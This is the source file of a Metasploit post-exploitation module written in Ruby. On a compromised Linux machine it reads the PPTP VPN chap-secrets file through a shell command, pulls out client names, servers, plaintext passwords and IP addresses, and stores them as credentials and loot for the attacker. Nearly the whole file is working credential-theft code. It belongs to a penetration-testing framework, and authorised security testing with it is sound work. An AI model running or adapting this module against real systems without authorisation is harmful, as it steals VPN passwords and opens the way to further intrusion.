metasploit-framework/modules/post/linux/gather/pptpd_chap_secrets.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials',
'Description' => %q{
This module collects PPTP VPN information such as client, server, password,
and IP from your target server's chap-secrets file.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'linux' ],
'SessionTypes' => [ "shell", "meterpreter" ]
))
register_options(
[
OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets'])
], self.class)
end
#
# Reads chap_secrets
#
def load_file(fname)
begin
data = cmd_exec("cat #{fname}")
rescue RequestError => e
print_error("Failed to retrieve file. #{e.message}")
data = ''
end
if data =~ /^#{fname}: regular file, no read permission$/ or data =~ /Permission denied$/
return :access_denied
elsif data =~ /\(No such file or directory\)$/
return :not_found
elsif data.empty?
return :empty
end
return data
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
session_id: session_db_id,
origin_type: :session,
private_data: opts[:password],
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
end
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#
# Extracts client, server, secret, and IP addresses
#
def extract_secrets(data)
tbl = Rex::Ui::Text::Table.new({
'Header' => 'PPTPd chap-secrets',
'Indent' => 1,
'Columns' => ['Client', 'Server', 'Secret', 'IP']
})
data.each_line do |l|
# If this line is commented out, ignore it
next if l =~ /^[[:blank:]]*#/
found = l.split
# Nothing is found, skip!
next if found.empty?
client = (found[0] || '').strip
server = (found[1] || '').strip
secret = (found[2] || '').strip
ip = (found[3,found.length] * ", " || '').strip
report_cred(
ip: session.session_host,
port: 1723, # PPTP port
service_name: 'pptp',
user: client,
password: secret,
)
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tbl << [client, server, secret, ip]
end
if tbl.rows.empty?
print_status("This file has no secrets: #{datastore['FILE']}")
else
print_line(tbl.to_s)
p = store_loot(
'linux.chapsecrets.creds',
'text/csv',
session,
tbl.to_csv,
File.basename(datastore['FILE'] + ".txt")
)
print_good("Secrets stored in: #{p}")
end
end
def run
fname = datastore['FILE']
f = load_file(fname)
case f
when :access_denied
print_error("No permission to read: #{fname}")
when :not_found
print_error("Not found: #{fname}")
when :empty
print_status("File is actually empty: #{fname}")
else
extract_secrets(f)
end
end
end